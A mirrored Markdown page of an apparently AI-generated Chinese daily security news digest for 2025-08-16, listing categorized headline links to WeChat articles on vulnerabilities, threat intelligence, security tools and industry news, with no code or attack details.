mirror of
https://github.com/Hxnxe/CyberSentinel-AI.git
synced 2025-11-04 17:13:53 +00:00
7680 lines
271 KiB
Markdown
7680 lines
271 KiB
Markdown
|
||
# 安全资讯日报 2025-08-16
|
||
|
||
> 本文由AI自动生成,基于对安全相关仓库、CVE和最新安全研究成果的自动化分析。
|
||
>
|
||
> 更新时间:2025-08-16 23:03:39
|
||
|
||
<!-- more -->
|
||
|
||
## 今日资讯
|
||
|
||
### 🔍 漏洞分析
|
||
|
||
* [CISA 将 PaperCut RCE 漏洞标记为攻击利用,请立即修补](https://mp.weixin.qq.com/s?__biz=Mzg3ODY0NTczMA==&mid=2247493316&idx=1&sn=af1b36ec1165a05c02593509dd2fc469)
|
||
* [NextCyber学习记录—ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞](https://mp.weixin.qq.com/s?__biz=MzkzMDg1MzIwNA==&mid=2247487812&idx=1&sn=5c6f5f82138d61c06c7a15c0f09d3dc2)
|
||
* [0050. OAuth 开放重定向至 ATO:一个链接,所有平台均遭入侵](https://mp.weixin.qq.com/s?__biz=MzA4NDQ5NTU0MA==&mid=2647690924&idx=1&sn=ff0bd065f6ec901a5b34608552f7a3bb)
|
||
* [sap-netweaver-0day-CVE-2025-31324](https://mp.weixin.qq.com/s?__biz=MzkzNDIzNDUxOQ==&mid=2247501732&idx=1&sn=32fc7596f7447afeff32914bc01c1b68)
|
||
* [ThinkphpGUI漏洞利用工具,支持各版本TP漏洞检测,命令执行,Getshell](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650611867&idx=4&sn=6c925b6ae7fec252580c1e726c9d0e8f)
|
||
* [扩大影响把用户枚举玩出花:一个参数引发的 0-Click 账户接管](https://mp.weixin.qq.com/s?__biz=MzkxNjc0ODA3NQ==&mid=2247484260&idx=1&sn=e330130fa43ab6e92955112da6d55e7a)
|
||
* [星巴克漏洞挖掘-从bypass WAF到上亿客户信息泄露](https://mp.weixin.qq.com/s?__biz=MzU0MTc2NTExNg==&mid=2247492800&idx=1&sn=ea208f37d47236041ca4dc9ceed6a298)
|
||
* [严重WordPress测验和调查总插件<= 10.2.4- SQL注入漏洞](https://mp.weixin.qq.com/s?__biz=Mzg4MDg5NzAxMQ==&mid=2247485936&idx=1&sn=75c60584c8ff8980eaea7f1bd6116e67)
|
||
* [东胜物流 /SoftMng/FileInputHandler/Upload 任意文 件上传](https://mp.weixin.qq.com/s?__biz=MzkzNzMxODkzMw==&mid=2247486003&idx=1&sn=2eac19f0d2650679067f8f91aea2bf96)
|
||
* [漏洞预警 | 西部数码NAS命令执行漏洞](https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247494056&idx=1&sn=6a4c692dfcf862f682690a68fc0f1d8f)
|
||
* [漏洞预警 | 天锐绿盘文档安全管理平台任意文件上传漏洞](https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247494056&idx=2&sn=8bdd40dd5e5919adcfd8e762c2e21ead)
|
||
* [漏洞预警 | 东胜物流软件SQL注入漏洞](https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247494056&idx=3&sn=cfc509075295647f2287615f7df10635)
|
||
* [那些不寻常的XSS场景小总结](https://mp.weixin.qq.com/s?__biz=MzkwODc1NTgyMg==&mid=2247487758&idx=1&sn=c0fdd61f97a46d30b3846abee3a4e093)
|
||
* [MySQL JDBC反序列化漏洞(CVE-2017-3523)分析报告](https://mp.weixin.qq.com/s?__biz=Mzg4Nzk3MTg3MA==&mid=2247488555&idx=1&sn=865a054cc99532c629b64d327f52b145)
|
||
* [无需 cmd.exe 实现任意命令和外部 EXE 文件执行](https://mp.weixin.qq.com/s?__biz=MzAxNzkyOTgxMw==&mid=2247494476&idx=1&sn=ecbdf9914e6d894ea9ed03629941d85c)
|
||
* [Weblogic反序列化漏洞](https://mp.weixin.qq.com/s?__biz=Mzk2NDI0MjUyNQ==&mid=2247485353&idx=1&sn=3f3ec8cdce917b19699ea94c66ef529f)
|
||
* [无需burp通过修改前端代码访问未授权文件的一种方法](https://mp.weixin.qq.com/s?__biz=MzAwNTc5MTMyNg==&mid=2247500531&idx=1&sn=ca30db3eed4e4066723ae7521d36b433)
|
||
* [关于防范NordDragonScan恶意软件的风险提示](https://mp.weixin.qq.com/s?__biz=MzA5Nzc4Njg1NA==&mid=2247489280&idx=1&sn=429274b891148da018f03e52ab03afab)
|
||
* [手工解决银狐类木马的反沙箱对抗](https://mp.weixin.qq.com/s?__biz=MzUyMTUwMzI3Ng==&mid=2247485648&idx=1&sn=81e1c404da8b383ed7f59a318eef8e62)
|
||
* [珍贵的宝石:新一代 Kerberos 攻击](https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247532288&idx=1&sn=0fa219b2ec04da9eb2187fed924fa6c2)
|
||
* [CVE-2025-49113——Roundcube 远程代码执行](https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247532288&idx=2&sn=26c7d7d34622319e10482fe0ed54cf29)
|
||
* [XSS绕过整理](https://mp.weixin.qq.com/s?__biz=Mzg5NjUxOTM3Mg==&mid=2247490207&idx=1&sn=161b9c9d70512a94fd6303ef26abf113)
|
||
* [200小时狂赚$20,300:漏洞赏金黑客挑战实录](https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247498049&idx=1&sn=aab638b3a285214481b6c01ccc98e1ea)
|
||
|
||
### 🔬 安全研究
|
||
|
||
* [人工智能:塑造网络威胁的未来](https://mp.weixin.qq.com/s?__biz=MzA5MzU5MzQzMA==&mid=2652117576&idx=1&sn=12d699626be784f5aea3d3caa4ebf687)
|
||
* [GPT-5安全机制不堪一击,研究人员通过回声室与叙事攻击成功破解](https://mp.weixin.qq.com/s?__biz=MzU2NDY2OTU4Nw==&mid=2247522987&idx=1&sn=10917dd61744e71e55222891ecc7b1d4)
|
||
* [分布式 IDPS – 一种用于车辆攻击检测和预防的分布式系统](https://mp.weixin.qq.com/s?__biz=MzU2MDk1Nzg2MQ==&mid=2247626701&idx=3&sn=7a931c84141d34ba016272cb763eb8fd)
|
||
* [靶场上新+N“好靶场” 稀有编号徽章上新](https://mp.weixin.qq.com/s?__biz=Mzg4MDg5NzAxMQ==&mid=2247485936&idx=2&sn=1e7130a4f58d4d5236b10420d21306d6)
|
||
* [实战|近期某省级HVV实战回忆录](https://mp.weixin.qq.com/s?__biz=MzIwMzIyMjYzNA==&mid=2247519437&idx=1&sn=eed14b27f8f0416bb887afb7743bf371)
|
||
* [菜狗安全《代码审计培训》手把手教学的0day挖掘之旅](https://mp.weixin.qq.com/s?__biz=Mzg4MzkwNzI1OQ==&mid=2247486861&idx=1&sn=97c73174f2c4415ac158fbc56a2717b2)
|
||
* [安卓逆向安居客反调试与参数分析](https://mp.weixin.qq.com/s?__biz=MzU4MDY4ODU2MA==&mid=2247486710&idx=1&sn=42c3d8d8d4a900b046302e81114c92f4)
|
||
* [取证分析IE&火狐浏览器取证分享](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247494915&idx=1&sn=d03a0c3271cdcf144fb281c07bdbc328)
|
||
* [某地级市攻防简单案例](https://mp.weixin.qq.com/s?__biz=MzUyODkwNDIyMg==&mid=2247551427&idx=1&sn=a99571aa1e183afd41a17268a9f51678)
|
||
* [中国红客技术教程 | 800课时-红客武器库5.0新增20款破解工具-共计230个-含款多个行业渗透工具,初学者必备工具和资源](https://mp.weixin.qq.com/s?__biz=MzkxMDc0NjM0Mg==&mid=2247484191&idx=2&sn=9216f1bfa94f4b2d57cb6cd05dfacab6)
|
||
* [AI在哪些方面改变了网络安全格局?](https://mp.weixin.qq.com/s?__biz=MzkxNzA3MTgyNg==&mid=2247539920&idx=1&sn=d6e6e342616548e9478a4611f79be218)
|
||
* [人工智能会失控吗?我们该如何应对?](https://mp.weixin.qq.com/s?__biz=MzI1OTExNDY1NQ==&mid=2651621621&idx=1&sn=e83e6901f605201d577dbc559a45750e)
|
||
* [攻防实战红队攻防之Goby反杀](https://mp.weixin.qq.com/s?__biz=Mzg5NTU2NjA1Mw==&mid=2247503474&idx=1&sn=acd06fb1731c6855548ef56b9cd6cd64)
|
||
* [我把WAF给绕了你不炸了](https://mp.weixin.qq.com/s?__biz=MzkwMTcwNzEwOA==&mid=2247483787&idx=1&sn=954ab653e1a0dc6ac97ea6832405d337)
|
||
* [2025 第五届极客少年挑战赛 初赛 小学组 第一场Cryptoxa0writeup](https://mp.weixin.qq.com/s?__biz=MzU2NzIzNzU4Mg==&mid=2247490913&idx=1&sn=26935afa8737756c5c94b4c5a0efb0d2)
|
||
* [2025年智能安全运营市场分析](https://mp.weixin.qq.com/s?__biz=MjM5OTk4MDE2MA==&mid=2655289358&idx=1&sn=7b138a65d2a13ec920889bccb72bea6b)
|
||
* [红队评估|分享某管理系统代码审计](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247495016&idx=1&sn=57269697a744ad14aefe709465fa1932)
|
||
* [OBD诊断协议](https://mp.weixin.qq.com/s?__biz=MzIzOTc2OTAxMg==&mid=2247558415&idx=1&sn=da208b55281abaf8f8e308040c39b75e)
|
||
* [精密仪器固件分析及维修——专业守护您的仪器稳定运行](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458598589&idx=1&sn=4d298efc996c7a5c52fc6d84e15b8294)
|
||
* [ISO/IEC 42001是一群“文盲”编制的错误百出逻辑错乱的一个标准](https://mp.weixin.qq.com/s?__biz=MzA5OTEyNzc1Nw==&mid=2247486623&idx=1&sn=42c08d3f637215a38f4b1a4a2085beb5)
|
||
* [代理ATT&CK篇](https://mp.weixin.qq.com/s?__biz=Mzg4NDkwMDAyMQ==&mid=2247487730&idx=1&sn=9db3639beccc28f21e38cbcfe0133034)
|
||
|
||
### 🎯 威胁情报
|
||
|
||
* [黑客如何“一键”控制卫星?黑帽大会揭露惊人技术](https://mp.weixin.qq.com/s?__biz=Mzg4MDU0NTQ4Mw==&mid=2247532972&idx=2&sn=c416b986afe1a33fff89ab329a39b643)
|
||
* [TRADE - 汽车分布式工程的威胁和风险评估](https://mp.weixin.qq.com/s?__biz=MzU2MDk1Nzg2MQ==&mid=2247626701&idx=1&sn=975d51cc99b44201ac838793bf8c6dd3)
|
||
* [轻信“买购物卡翻倍返现金”4小时被骗走3万多元|直播带货变带祸?这些红线碰不得!](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650611867&idx=1&sn=517e4e7b4a1d5b552fef68657b689450)
|
||
* [人力资源巨头万宝盛华发生大规模数据泄露|北韩黑客组织Kimsuky遭数据泄露(包含工具附下载)](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650611867&idx=2&sn=3c7e2411bede45e2bcb63bc844228b2b)
|
||
* [安全圈挪威水坝遭黑客入侵](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652071203&idx=4&sn=e3bf80c166a33097e3240e21e05cc3af)
|
||
* [黑客为什么不攻击微信钱包?U0001f9d0](https://mp.weixin.qq.com/s?__biz=MzkxMzMyNzMyMA==&mid=2247574529&idx=1&sn=9577f243986f92063b23278e7643cfba)
|
||
* [寰球密码简报(第200期)丨美国安全政策:密码学的两用监管及其对监控的影响](https://mp.weixin.qq.com/s?__biz=Mzg5NTA5NTMzMQ==&mid=2247501757&idx=1&sn=f33250aa3eaf7001bb4ea7ed493ce432)
|
||
* [火绒安全周报黑客组织遭“叛变”,8.9GB数据被泄露/央视起底机票退改签诈骗新套路](https://mp.weixin.qq.com/s?__biz=MzI3NjYzMDM1Mg==&mid=2247526282&idx=1&sn=0721ac4ab00fe81bf13548e2a0223050)
|
||
* [新型NFC驱动PhantomCard安卓恶意软件瞄准银行用户](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651326317&idx=3&sn=bd6589093df5e0897d157a7c6ad64e67)
|
||
|
||
### 🛠️ 安全工具
|
||
|
||
* [一种新型的AI安全工具HexStrike问世](https://mp.weixin.qq.com/s?__biz=MzI3NzM5NDA0NA==&mid=2247491859&idx=1&sn=b41d1092b3e41daf3d28605061bc20fd)
|
||
* [Jawd 一款Jar包Java代码编辑小工具](https://mp.weixin.qq.com/s?__biz=MzU0NzczMDg4Mg==&mid=2247483956&idx=1&sn=91f5fabdd17134f30af516ebbecc5d22)
|
||
* [安天AVL SDK反病毒引擎升级通告(20250816)](https://mp.weixin.qq.com/s?__biz=MjM5MTA3Nzk4MQ==&mid=2650211747&idx=1&sn=ab280ba6f39a34e4507ead61a140aa74)
|
||
* [集成了30个工具的信息收集利器---reconFTW](https://mp.weixin.qq.com/s?__biz=MzI4MjkxNzY1NQ==&mid=2247486955&idx=1&sn=e12549182bfbead851df5fc5fe1b0316)
|
||
* [最常用的渗透测试工具,你用过哪几种?](https://mp.weixin.qq.com/s?__biz=MzU3MjczNzA1Ng==&mid=2247498731&idx=1&sn=d1176f4bf5550013cf9da5f12932297d)
|
||
* [工具 | thorium](https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247494056&idx=4&sn=2d31194fb31947a18b6bdbaf5971d5f4)
|
||
* [Android7-15自动移动cert证书工具](https://mp.weixin.qq.com/s?__biz=MzkxNjMwNDUxNg==&mid=2247488616&idx=1&sn=079a400cd317c29db533a80ab41a66b0)
|
||
* [物联网人必备!功能丰富且开源 IoT 设备通讯联调小工具,支持Modbus、MQTT、TCP 调试](https://mp.weixin.qq.com/s?__biz=MjM5OTA4MzA0MA==&mid=2454939427&idx=1&sn=823a5ccd7f45962cf74b40005dc00ddc)
|
||
* [实现简易ARK工具:遍历进程和内核模块](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458598589&idx=2&sn=5d654ede79b8d94926690c5fd4ae8d71)
|
||
|
||
### 📚 最佳实践
|
||
|
||
* [三重护航:业务、连通与安全的流量检测融合之道](https://mp.weixin.qq.com/s?__biz=Mzg3NTUzOTg3NA==&mid=2247516153&idx=1&sn=886ecb9ffcc46c476273d1243f20b4f3)
|
||
* [重大活动期间安全保障方案实践指南](https://mp.weixin.qq.com/s?__biz=MzkzNjIzMjM5Ng==&mid=2247492969&idx=1&sn=48b5af2f57628dd79bc4503e6107b2fb)
|
||
* [渗透测试|小白也能学会渗透测试!某医院HIS系统渗透测试靶场学习](https://mp.weixin.qq.com/s?__biz=Mzg4NDkwMDAyMQ==&mid=2247487728&idx=1&sn=49177c883f5a4c6e39cccbebbd415962)
|
||
* [小白入门教程,自建魔法上网,支持VMess / VLESS / Trojan 等多种协议](https://mp.weixin.qq.com/s?__biz=MzkyNzYzNTQ2Nw==&mid=2247484958&idx=1&sn=a9a5fe04d5b4a310c8c647e034c98b79)
|
||
* [等保2.0下的网络安全设备选型指南](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650611867&idx=3&sn=2658691a56889f088ea661e02fd3cb4d)
|
||
* [网安界含金量最高的4大证书,拿下工资暴涨五位数!](https://mp.weixin.qq.com/s?__biz=Mzk0MzcyNjMyNg==&mid=2247484937&idx=1&sn=ba438e167c254955cf20a4ed8b6eebed)
|
||
* [如何通过远程桌面连接Kali Linux](https://mp.weixin.qq.com/s?__biz=MzkxMzIwNTY1OA==&mid=2247513253&idx=1&sn=ebbf08f6d06d048239fb0ad84952977f)
|
||
* [OSCP | 教材笔记汇总下载](https://mp.weixin.qq.com/s?__biz=MzIzODMyMzQxNQ==&mid=2247484923&idx=1&sn=0cd256ff347541403280ba206f4eaccc)
|
||
* [网络安全CTF比赛必备教程之Web篇-burpsuite如何爆破弱密码!](https://mp.weixin.qq.com/s?__biz=MzU2MjU2MzI3MA==&mid=2247484793&idx=1&sn=5a65674c0fdfdbbe87c3ba0a159b6cb8)
|
||
* [网络安全技术人员必须掌握的5大编程语言](https://mp.weixin.qq.com/s?__biz=Mzk0NTc2MTMxNQ==&mid=2247484079&idx=1&sn=e4744571cc9d5300360bb6d8f745e3c5)
|
||
* [行业黄金证书!电子数据取证分析师(三级/高级工)认证报名开启,职场竞争力UP](https://mp.weixin.qq.com/s?__biz=MjM5NTU4NjgzMg==&mid=2651445383&idx=1&sn=5c5f7258742f86939a104852e1bebc16)
|
||
* [3 电子取证学习-服务器入门(续)](https://mp.weixin.qq.com/s?__biz=MzkzMjIwNzM1Ng==&mid=2247485290&idx=1&sn=1f9df24a1806cfef03d2490aebf60a6a)
|
||
* [7天掌握Claude 3.7镜像隐藏技巧!三步进阶指南(内附高级提示词)。](https://mp.weixin.qq.com/s?__biz=MzU4MzM4MzQ1MQ==&mid=2247510717&idx=1&sn=5d542eb91c5b41c90383a68b543d0b1e)
|
||
* [7天掌握Claude 3.7账号高阶使用技巧(附带一键解锁方法)。](https://mp.weixin.qq.com/s?__biz=MzU4MzM4MzQ1MQ==&mid=2247510717&idx=2&sn=5b11cb8ea75c3f5be896c4307f878e74)
|
||
* [7天掌握Claude 3.7账号获取全攻略!三大秘技轻松拥有AI顶级助手(附详细操作指南)。](https://mp.weixin.qq.com/s?__biz=MzU4MzM4MzQ1MQ==&mid=2247510717&idx=3&sn=a32b23b6b4aa8e0d4e8188f955a1b49b)
|
||
* [7天掌握Claude 3.7账号使用高阶攻略!三步流程详解+内部秘技。](https://mp.weixin.qq.com/s?__biz=MzU4MzM4MzQ1MQ==&mid=2247510717&idx=4&sn=638ad1cb378d876b9076654b20e143b6)
|
||
* [7天掌握Claude 3.7账号使用全攻略!(小白也能快速上手的5步指南)。](https://mp.weixin.qq.com/s?__biz=MzU4MzM4MzQ1MQ==&mid=2247510717&idx=5&sn=52f6805a100ec0dfc6f6f2aed35f13ed)
|
||
* [7天掌握claude 3.7账号使用完整指南(含隐藏高级功能教程)。](https://mp.weixin.qq.com/s?__biz=MzU4MzM4MzQ1MQ==&mid=2247510717&idx=6&sn=ebb5c368ce388207175322fbc5b1b5e6)
|
||
* [7天掌握claude 4 协作全流程指南!三步玩转AI团队协作新境界(含独家高级提示词)。](https://mp.weixin.qq.com/s?__biz=MzU4MzM4MzQ1MQ==&mid=2247510717&idx=7&sn=762272a1e32a3ad59f60c5f9ca9fae6a)
|
||
* [7天掌握Claude 4独享账号高阶攻略指南!(内含独家技巧与稳定资源)。](https://mp.weixin.qq.com/s?__biz=MzU4MzM4MzQ1MQ==&mid=2247510717&idx=8&sn=f4c802b7f782c6e4527f68d3bde10b1b)
|
||
* [收藏~应急响应实战笔记](https://mp.weixin.qq.com/s?__biz=MzkxMzMyNzMyMA==&mid=2247574529&idx=2&sn=55924a9fc74f64dcba330c9eca16d6f6)
|
||
* [一图读懂 | 国家标准《数据安全技术 数据安全风险评估方法》](https://mp.weixin.qq.com/s?__biz=MjM5MzMwMDU5NQ==&mid=2649174190&idx=1&sn=4c77cbe1bee346cc2c1174635dc79e8b)
|
||
* [一图读懂 | 国家标准GB/T 45577—2025《数据安全技术 数据安全风险评估方法》](https://mp.weixin.qq.com/s?__biz=MzkwMTQyODI4Ng==&mid=2247497350&idx=1&sn=8b0ba91061531dfc630f6ddaac7a246e)
|
||
* [揭秘汽车电子信息安全:如何有效保护硬件Debug口?](https://mp.weixin.qq.com/s?__biz=MzIzOTc2OTAxMg==&mid=2247558415&idx=2&sn=b709ab4431559b19e93412cc0613a2c8)
|
||
* [网工、运维零基础学 Python:38-GitHub Flow](https://mp.weixin.qq.com/s?__biz=MzIyMzIwNzAxMQ==&mid=2649470018&idx=1&sn=511f7bd6bf77030692fbf74dba828edc)
|
||
|
||
### 🍉 吃瓜新闻
|
||
|
||
* [分享一下我的实际网速......](https://mp.weixin.qq.com/s?__biz=MzU5Njg5NzUzMw==&mid=2247491832&idx=1&sn=6d5045bcde5cd3c7d63bd3b5a6b25cdd)
|
||
* [麦肯锡《2025年技术趋势展望报告》解读:技术革命与全球竞争新格局](https://mp.weixin.qq.com/s?__biz=Mzg4MDU0NTQ4Mw==&mid=2247532972&idx=1&sn=8b9dabba6bcc144c4aabec8fb21c7214)
|
||
* [网络安全行业,截至目前(2025年8月15日收盘)市值排行及变化情况](https://mp.weixin.qq.com/s?__biz=MzUzNjkxODE5MA==&mid=2247492998&idx=1&sn=4c95a90ce72607f9357924a636f3700e)
|
||
* [证券公司这么有钱,也不重视安全?](https://mp.weixin.qq.com/s?__biz=MzkzNDIzNDUxOQ==&mid=2247501722&idx=1&sn=8cd78fb87fe8c4db05bd748fd91a121f)
|
||
* [俄乌战争军事援助主客观分析与军备项目比较分析](https://mp.weixin.qq.com/s?__biz=MzkyMjY1MTg1MQ==&mid=2247495445&idx=1&sn=d09121108f5a25d57e6609f6b5c7aaad)
|
||
* [吃瓜老板给了你工作,再要求给工资就不礼貌了哟](https://mp.weixin.qq.com/s?__biz=MzU3MjU4MjM3MQ==&mid=2247490272&idx=1&sn=d55a885a5de662f9a85435186b1becc5)
|
||
* [首个!美国银行制定稳定币规则](https://mp.weixin.qq.com/s?__biz=MzUzODYyMDIzNw==&mid=2247519604&idx=1&sn=7d870a8b254f166b80906e1fd50ea32a)
|
||
* [网络安全行业,说实话咱们还不如的“浪浪山的小妖怪”!](https://mp.weixin.qq.com/s?__biz=MzUzNjkxODE5MA==&mid=2247492996&idx=1&sn=f888f58386892551a654837e13cb486f)
|
||
* [热点关注丨WAIC发布《中国人工智能安全承诺框架》](https://mp.weixin.qq.com/s?__biz=Mzg2MTU5ODQ2Mg==&mid=2247507455&idx=1&sn=3c7fffa2b9c74519484458961919cc4f)
|
||
* [暗网日记 | 少年初闯网路,命运因错失拨号而改变](https://mp.weixin.qq.com/s?__biz=MzkxMDc0NjM0Mg==&mid=2247484191&idx=1&sn=af80abb3345a2b77d05567900dfe2b41)
|
||
* [行业动态 | 第三届“陇剑杯”网络安全大赛重磅揭幕](https://mp.weixin.qq.com/s?__biz=MzkxNzA3MTgyNg==&mid=2247539920&idx=2&sn=795dd68f887a4f6ac065f0d9c452e62a)
|
||
* [2025世界人形机器人运动会激情开赛!数百台机器人“冰丝带”上演巅峰对决](https://mp.weixin.qq.com/s?__biz=MjM5NzYwNDU0Mg==&mid=2649253919&idx=1&sn=e0e43383d2127ff46babba618231984a)
|
||
* [关于对《数据安全国家标准体系(2025版)》《个人信息保护国家标准体系(2025版)》征求意见稿公开征求意见的通知](https://mp.weixin.qq.com/s?__biz=MzkwMTQyODI4Ng==&mid=2247497350&idx=2&sn=e1462fabec081da9b6f65ab96f47ebef)
|
||
* [团队会议 | 凌日网络与信息安全团队年中会议](https://mp.weixin.qq.com/s?__biz=MzkxNjcyMTc0NQ==&mid=2247484538&idx=1&sn=bb5b0b010a727671ae4a91444d3efb2d)
|
||
* [自助下载 | 区块链、智能制造、智慧城市、低空经济、车联网、医疗、公共安全 相关主题资料已同步到最新](https://mp.weixin.qq.com/s?__biz=MjM5OTk4MDE2MA==&mid=2655289358&idx=2&sn=5b67f5b9e5d3f1d33ee22708f82afd9b)
|
||
* [在看 | 厂商:本周热门网络安全产业动态](https://mp.weixin.qq.com/s?__biz=MzU5ODgzNTExOQ==&mid=2247642712&idx=2&sn=38143c01dc083b8876ce57789bd7a151)
|
||
|
||
### 📌 其他
|
||
|
||
* [赛事:2025年ISG网络安全技能竞赛“观安杯”管理运维赛](https://mp.weixin.qq.com/s?__biz=Mzg2MjgwMzIxMA==&mid=2247485229&idx=1&sn=6fc0ff1bee614777113ed38170c603ec)
|
||
* [《CNVD官方认证》](https://mp.weixin.qq.com/s?__biz=Mzk1NzIyODg2OQ==&mid=2247485023&idx=1&sn=bcc219943c17bca3f6b94bb098128cd3)
|
||
* [内附优惠 | 技术硬就敢冲!OSCP 不卡身份(在校 / 社会均可报)](https://mp.weixin.qq.com/s?__biz=MzU4MjUxNjQ1Ng==&mid=2247524664&idx=1&sn=f2da5ce6ec8561c5659dd9812319d0b3)
|
||
* [智竞向未来!2025世界人形机器人运动会盛大启幕!](https://mp.weixin.qq.com/s?__biz=MjM5NzYwNDU0Mg==&mid=2649253912&idx=1&sn=37cba5151cf652bcf2f62c38f3e1f910)
|
||
* [Certify 2.0 更新](https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&mid=2247489955&idx=1&sn=0c7fdeec4e5907f13eddb09cf1ea32b5)
|
||
* [《要么不做、要么做绝》](https://mp.weixin.qq.com/s?__biz=MzUzMjQyMDE3Ng==&mid=2247488510&idx=1&sn=2d3c2672f6f914fbfebf8b5e1f39ccc7)
|
||
* [分享图片](https://mp.weixin.qq.com/s?__biz=MzI3Njc1MjcxMg==&mid=2247496123&idx=1&sn=c5d7848ac967289f243d1e071a9ac2d3)
|
||
* [255路监控,带宽究竟要配多大?](https://mp.weixin.qq.com/s?__biz=MzUyNTExOTY1Nw==&mid=2247531492&idx=1&sn=6f77b80f75909661e449f1c252173ed2)
|
||
* [如果让你选:RAID 5, RAID 6 还是 RAID10?](https://mp.weixin.qq.com/s?__biz=MzIyMzIwNzAxMQ==&mid=2649470246&idx=1&sn=f6438988f6243e748b0111ede73a4dcb)
|
||
* [陇剑再出鞘 金盾固网安 第三届“陇剑杯”网络安全大赛重磅揭幕](https://mp.weixin.qq.com/s?__biz=MzA4Mjk5NjU3MA==&mid=2455489856&idx=1&sn=8716bc73f584aff74b2cc6678f51d6ec)
|
||
* [网安原创文章推荐2025/8/15](https://mp.weixin.qq.com/s?__biz=MzAxNzg3NzMyNQ==&mid=2247490287&idx=1&sn=fcd327638bd5d55709a92cc8ab95e3c8)
|
||
* [解读!公安机关资金分析鉴定的管理新规](https://mp.weixin.qq.com/s?__biz=MzIxOTM2MDYwNg==&mid=2247517444&idx=1&sn=3486b709ed812bec3e20734ed2b5c35c)
|
||
* [CISP-PTS vs OSCP+ | 谁更胜一筹?](https://mp.weixin.qq.com/s?__biz=MzIxNTM4NDY2MQ==&mid=2247518274&idx=1&sn=cf2d291cbcac7662d7aa7c87970885c4)
|
||
* [今晚8点 | 内网渗透中高价值目标利用(公开课)](https://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg==&mid=2247524613&idx=1&sn=c8a4966eef5a52ac8a9252b1751904f4)
|
||
* [真心建议大专生去试试网络安全,实习期8k!](https://mp.weixin.qq.com/s?__biz=MzkyODk0MDY5OA==&mid=2247485742&idx=1&sn=48da18a8933f8a183de84d5dd6531c93)
|
||
* [《有工作就不错了,要什么自行车》](https://mp.weixin.qq.com/s?__biz=MzkxNzY5MTg1Ng==&mid=2247490535&idx=1&sn=c9212712c02d75ac27f01790f361cf7f)
|
||
* [放暑假千万不能做的事,否则后悔一辈子!](https://mp.weixin.qq.com/s?__biz=MzU3MjczNzA1Ng==&mid=2247498730&idx=1&sn=d83931c33ced7002a6562111d7c35f91)
|
||
* [GRCC VIP 年卡大促限时开启!尊享全年专属权益](https://mp.weixin.qq.com/s?__biz=MzU2MDk1Nzg2MQ==&mid=2247626701&idx=2&sn=565c6bb75ad85334f66dcdc334c13da1)
|
||
* [《椿园载记》](https://mp.weixin.qq.com/s?__biz=MzUzMjQyMDE3Ng==&mid=2247488517&idx=1&sn=23e3b5cc23193ca61f41d007e9b09357)
|
||
* [红客利剑突击 | 网络安全技术新纪元,国家需要的下一个网络卫士就是你!](https://mp.weixin.qq.com/s?__biz=MzkxMDc0NjM0Mg==&mid=2247484191&idx=3&sn=ece2996d9170bc0a09a663fa059c70bc)
|
||
* [红客利剑突击队 | 零基础入门红客](https://mp.weixin.qq.com/s?__biz=MzkxMDc0NjM0Mg==&mid=2247484191&idx=4&sn=e1e35ceaf7ed1034e5d7cea8f019f6ff)
|
||
* [企业级标签设计和打印管理软件!BarTender Enterprise 2022安装激活保姆级安装教程!](https://mp.weixin.qq.com/s?__biz=Mzk0MzI2NzQ5MA==&mid=2247488135&idx=1&sn=5c196267b4258dfc8b7fb0bb54fd8fc2)
|
||
* [JavaCompiler 学习 JSR 199 & JSR 269](https://mp.weixin.qq.com/s?__biz=MzkwMzQyMTg5OA==&mid=2247488354&idx=1&sn=ffbb593c5a33935a9ab18e37a7b1306d)
|
||
* [新课上架有没有你要学的?](https://mp.weixin.qq.com/s?__biz=MzkwOTE5MDY5NA==&mid=2247507329&idx=1&sn=92ce5a7abe964284a9836f805522ff11)
|
||
* [page275.基于rust + Tauri + axum + vue实现web端与桌面端开发](https://mp.weixin.qq.com/s?__biz=MzkwOTE5MDY5NA==&mid=2247507329&idx=2&sn=b3ce6f322ba2d876d4e52e3f53b7f828)
|
||
* [诚邀渠道合作伙伴共启新征程](https://mp.weixin.qq.com/s?__biz=MzI3NjYzMDM1Mg==&mid=2247526282&idx=2&sn=6b8946556c59e8979f9ad1bd25917230)
|
||
* [天才少年](https://mp.weixin.qq.com/s?__biz=MzAwMjQ2NTQ4Mg==&mid=2247500078&idx=1&sn=0f4feb40d6c38379004ec7af9414ea57)
|
||
* [江苏银行构建“微应用”集市生态,向全行员工提供AI工具](https://mp.weixin.qq.com/s?__biz=MzIxMDIwODM2MA==&mid=2653932566&idx=1&sn=58b3c9ffe331c981d93c617522dbc9fd)
|
||
* [申银万国期货火山引擎HiAgent智能体平台,易诚互动84.6万中标](https://mp.weixin.qq.com/s?__biz=MzIxMDIwODM2MA==&mid=2653932566&idx=2&sn=e59f613e560c635700429200dbb838da)
|
||
* [赚钱的底层逻辑](https://mp.weixin.qq.com/s?__biz=MzkzMzEwNzIzNQ==&mid=2247506792&idx=1&sn=5d38e4b26e6770def26695f707ed44e0)
|
||
* [暑期学校热力来袭,《天体闪耀时》好礼相送](https://mp.weixin.qq.com/s?__biz=Mzg5ODUxMzg0Ng==&mid=2247500570&idx=1&sn=ed226d431a19c9ee4e6edf134ab38727)
|
||
|
||
